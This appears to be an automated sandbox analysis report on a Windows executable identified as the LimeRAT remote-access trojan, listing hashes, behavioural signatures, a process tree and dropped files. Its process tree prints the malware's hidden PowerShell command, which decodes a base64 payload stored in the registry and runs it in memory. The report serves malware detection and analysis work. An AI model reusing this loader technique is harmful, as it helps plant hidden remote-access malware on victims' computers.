Analysis
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max time kernel
149s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
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submitted
16-08-2024 08:57
General
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Target
9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe
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Size
1.7MB
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MD5
9db92ead87f1de645a719a3833149ab2
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SHA1
bcb4a1b97ded4cbe4cadd6e7f9719b2322618901
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SHA256
2b54039195a45d011a466289c920009afbd276de9f9ab8858b62cb6de1961ed0
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SHA512
ade5ee81536dc86d226580a308dda14c241fa51fb589cbb92f4105c58c738422ba9620a8c2bb27f144e904b75ade06b8cac76f741c26125de69cf06b1c4d250f
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SSDEEP
24576:gk70TrcTv8GaBoLpvX843rTcIM9C8kCRGlSnLvBCUetcSRTFG6UUZN1oda2F4Q77:gkQTAjrJ8Mrg19nLj+dWdaYBJn
Malware Config
Signatures
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LimeRAT
Simple yet powerful RAT for Windows machines written in .NET.
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Blocklisted process makes network request 1 IoCs
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
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AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.
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Suspicious use of SetThreadContext 1 IoCs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Modifies registry class 18 IoCs
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Suspicious behavior: EnumeratesProcesses 5 IoCs
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Suspicious behavior: GetForegroundWindowSpam 1 IoCs
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Suspicious use of AdjustPrivilegeToken 2 IoCs
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Suspicious use of FindShellTrayWindow 64 IoCs
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Suspicious use of SendNotifyMessage 64 IoCs
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Suspicious use of WriteProcessMemory 16 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\encoded.vbe"2⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy UnRestricted -Windo 1 -windowstyle hidden -noprofile -Command "$sweMPIwpTWhAiipd = (get-itemproperty -path 'HKCU:\IsEJEAIwRkHJfSb\rwrMWUiFQJZKzOKaDV\' -name 'BtCMsuVhGZUcGMvFXvuDs').BtCMsuVhGZUcGMvFXvuDs;$sweMPIwpTWhAiipd=$sweMPIwpTWhAiipd.replace('(i&y~^t%','A');[byte[]]$_0 = [System.Convert]::FromBase64String($sweMPIwpTWhAiipd);$_1 = [Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke('RPQHJfEHof',$null);"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\9db92ead87f1de645a719a3833149ab2_JaffaCakes118.exe"2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
141KB
MD502b4a7beab29edc41934f65d96407d36
SHA1f179b741f890e5bab53d3923dda1f759e9b1c7c7
SHA25625419c5e756fddc98b11e667053989de084edec699ced6b77b477fbd085bea20
SHA51246898863d5dc5cd50e21d1fad898c75b7057cd45301dd470b95dc9fcd390864b00f957bd41413e37d0a42e85bff0d7b77c1ae79bdbc074f454d5044c529fc4a6
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
5.6MB
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Filesize
7.7MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
4KB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
7.7MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
2.0MB
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Filesize
624KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
584KB
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Filesize
40KB
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Filesize
408KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
112KB
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Filesize
2.0MB
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Filesize
7.7MB
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Filesize
7.7MB
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Filesize
1.1MB
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Filesize
1.1MB
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Filesize
136KB
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Filesize
120KB
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Filesize
408KB
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Filesize
3.3MB
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Filesize
600KB
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Filesize
6.2MB
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Filesize
216KB
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Filesize
272KB
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Filesize
104KB
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Filesize
136KB
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Filesize
48KB
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Filesize
304KB
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Filesize
472KB
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Filesize
6.5MB